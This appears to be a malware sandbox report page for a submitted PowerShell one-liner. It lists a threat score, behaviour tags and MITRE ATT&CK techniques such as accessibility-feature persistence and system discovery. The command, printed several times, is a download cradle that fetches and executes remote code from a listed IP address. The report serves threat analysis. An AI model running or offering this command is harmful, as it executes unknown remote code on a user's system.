hxxp://powershell -c "iex(irm '91[.]92[.]43[.]231/nkomtA1mwnggEJiHY' -UseBasicParsing)" #ID-563171380499

General

Target
http://powershell -c "iex(irm '91.92.43.231/nkomtA1mwnggEJiHY' -UseBasicParsing)" #ID-563171380499
Sample260719-qv314aex2w

Score

3^/10

Malware Config

Targets

- Target
  http://powershell -c "iex(irm '91.92.43.231/nkomtA1mwnggEJiHY' -UseBasicParsing)" #ID-563171380499
Score

3^/10

discovery persistence privilege_escalation
behavioral1

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Event Triggered Execution

1

T1546

Accessibility Features

1

T1546.008

Privilege Escalation

Event Triggered Execution

1

T1546

Accessibility Features

1

T1546.008

Defense Evasion

Credential Access

Discovery

Browser Information Discovery

Query Registry

System Information Discovery

2

T1082

System Time Discovery

1

T1124

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Tasks

Sharing

General

Malware Config

Targets

MITRE ATT&CK Enterprise v16

Tasks

static1

urlscan1

behavioral1